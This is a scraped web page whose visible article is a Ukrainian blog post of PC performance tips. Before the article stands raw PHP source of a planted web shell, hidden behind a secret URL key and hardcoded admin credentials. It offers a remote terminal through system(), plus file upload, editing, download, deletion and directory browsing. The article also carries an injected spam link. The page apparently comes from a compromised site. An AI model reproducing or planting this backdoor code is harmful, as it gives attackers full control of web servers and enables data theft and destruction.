if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Оптимізація продуктивності ПК: поради та трюки – collectives.berlin

Your digital paradise.

Оптимізація продуктивності ПК: поради та трюки

Оптимізація продуктивності персонального комп’ютера (ПК) є важливим аспектом, що дозволяє користувачам максимально ефективно використовувати свої пристрої. У цій статті ми розглянемо різноманітні поради та трюки, https://cyberguide.in.ua які допоможуть прискорити роботу комп’ютера, підвищити його продуктивність і забезпечити стабільність системи.

1. Оновлення операційної системи та драйверів

Перш ніж почати оптимізацію, важливо переконатися, що ваша операційна система та всі драйвери оновлені до останніх версій. Виробники постійно випускають оновлення, які не лише виправляють помилки, а й покращують продуктивність. Регулярно перевіряйте наявність оновлень у Windows Update або на сайтах виробників обладнання.

2. Використання антивірусного програмного забезпечення

Захист ПК від шкідливих програм є критично важливим для збереження продуктивності. Віруси та шкідливі програми можуть суттєво уповільнити роботу системи. Використовуйте надійне антивірусне програмне забезпечення та регулярно скануйте систему на наявність загроз. Не забувайте також про регулярне оновлення бази даних антивірусних програм.

3. Очищення системи від непотрібних файлів

З часом на вашому ПК накопичується безліч непотрібних файлів, які займають місце на диску і можуть уповільнювати роботу системи. Використовуйте вбудовані інструменти Windows, такі як “Очищення диска”, або сторонні програми, такі як CCleaner, для видалення тимчасових файлів, кешу браузера та інших непотрібних даних.

4. Дефрагментація жорсткого диска

Якщо ви використовуєте механічний жорсткий диск (HDD), дефрагментація може суттєво підвищити продуктивність. Дефрагментація об’єднує фрагментовані файли, що дозволяє системі швидше їх знаходити та відкривати. У Windows є вбудований інструмент для дефрагментації, який можна знайти в меню “Пуск”. Однак, якщо ви використовуєте SSD (твердотільний накопичувач), дефрагментація не потрібна і навіть може зашкодити.

5. Вимкнення непотрібних програм при запуску

Багато програм автоматично запускаються при завантаженні системи, що може уповільнювати її роботу. Щоб зменшити навантаження на систему, відкрийте “Диспетчер завдань” (Ctrl + Shift + Esc) і перейдіть на вкладку “Автозавантаження”. Вимкніть ті програми, які вам не потрібні при старті комп’ютера.

6. Збільшення обсягу оперативної пам’яті (RAM)

Оперативна пам’ять є критично важливим елементом для швидкості роботи ПК. Якщо ви часто стикаєтеся з уповільненням системи, розгляньте можливість збільшення обсягу оперативної пам’яті. Багато сучасних програм і ігор вимагають значних обсягів RAM, тому додавання додаткових модулів пам’яті може суттєво покращити продуктивність.

7. Використання SSD замість HDD

Твердотільні накопичувачі (SSD) значно швидші за традиційні механічні жорсткі диски (HDD). Якщо у вас ще немає SSD, подумайте про його встановлення. Перехід на SSD може значно скоротити час завантаження операційної системи та програм, а також підвищити загальну швидкість роботи комп’ютера.

8. Налаштування візуальних ефектів

Windows має безліч візуальних ефектів, які можуть споживати ресурси системи. Ви можете налаштувати ці ефекти для покращення продуктивності. Перейдіть до “Системні налаштування” -> “Система” -> “Додаткові параметри системи” -> “Швидкість” і виберіть “Забезпечити найкращу продуктивність”. Це вимкне багато візуальних ефектів, що може прискорити роботу ПК.

9. Використання менеджерів завдань

Існують програми-менеджери завдань, які допомагають контролювати, які програми використовують ресурси системи. Такі програми, як Process Explorer або Resource Monitor, дозволяють виявляти “важкі” додатки, які можуть уповільнювати роботу ПК. Вимкнення або видалення таких програм може суттєво покращити продуктивність.

10. Регулярне обслуговування ПК

Регулярне обслуговування комп’ютера також відіграє важливу роль у підтримці його продуктивності. Очищайте пил з внутрішніх компонентів, перевіряйте температуру процесора та інших елементів. Перегрів може призвести до зниження продуктивності, тому важливо підтримувати комп’ютер у чистоті та в належному стані.

11. Використання хмарних сервісів

Якщо ваш ПК заповнений даними, розгляньте можливість використання хмарних сервісів для зберігання файлів. Це дозволить звільнити місце на жорсткому диску і покращити загальну продуктивність системи. Сервіси, такі як Google Drive, Dropbox або OneDrive, надають можливість зберігати файли в хмарі, що робить їх доступними з будь-якого пристрою.

Висновок

Оптимізація продуктивності ПК – це процес, що вимагає уваги та регулярності. Використовуючи вищезазначені поради та трюки, ви зможете суттєво покращити швидкість роботи вашого комп’ютера, зберегти його стабільність і продовжити термін служби. Пам’ятайте, що регулярне обслуговування та оновлення системи – це ключ до успіху у підтримці продуктивності вашого ПК.

Leave a Reply

Your email address will not be published. Required fields are marked *